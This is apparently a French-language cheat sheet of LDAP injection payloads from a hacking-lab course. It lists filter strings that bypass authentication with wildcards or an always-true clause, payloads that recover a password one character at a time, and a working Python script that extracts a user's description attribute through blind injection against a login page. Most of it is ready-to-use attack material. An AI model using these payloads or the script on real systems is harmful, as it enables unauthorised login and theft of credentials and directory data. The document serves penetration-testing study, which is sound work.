Payloads

Authentication bypass

(&(uid=admin)(userPassword=password123))

Utilisation de wildcards:

(&(uid=admin)(userPassword=*))

Si les wildcards sont blacklist:

)(|(& => (&(uid=admin)(|(&)(userPassword=invalid))) 

(&) est toujours égal à true

Data exflitration

(&(uid=htb-stdnt)(password=p@ssw0rd))

Utilisation de wildcard pour retrouver un par un le mdp

(&(uid=htb-stdnt)(password=p*))
(&(uid=htb-stdnt)(password=p@*))

Exfiltration d'autre donnée :

(&(uid=htb-stdnt)(|(description)(password=p@ssw0rd)))

Exemple de script :

import requests
import string

characters = string.ascii_letters + string.digits + string.punctuation

def blind_ldap_injection(description,character):
    if description == '': 
        response = requests.post(url="http://<url>/index.php",data={"username":"admin)(|(description="+character+"*","password":"invalid)"})

        if "Login successful" in response.text:
            #print(f"Injection réussie avec {character}")
            return True
        else:
            return False
    else:
        response = requests.post(url="http://<url>/index.php",data={"username":"admin)(|(description="+description+character+"*","password":"invalid)"})

        if "Login successful" in response.text:
            #print(f"Injection réussie avec {character}")
            return True
        else:
            return False

description=''

while True:
    found_character = False  # Indique si on a trouvé un caractère dans cette itération

    # Boucle pour tester chaque caractère possible
    for character in characters:
        if blind_ldap_injection(description, character):
            description += character  # Ajoute le caractère trouvé à la description
            found_character = True
            break  # Recommence depuis le début de `characters` avec le nouveau `description`
    
    # Si aucun caractère n'est trouvé, on a terminé
    if not found_character:
        print(f"Description complète trouvée : {description}")
        break  # ArrĂŞte la boucle

Last updated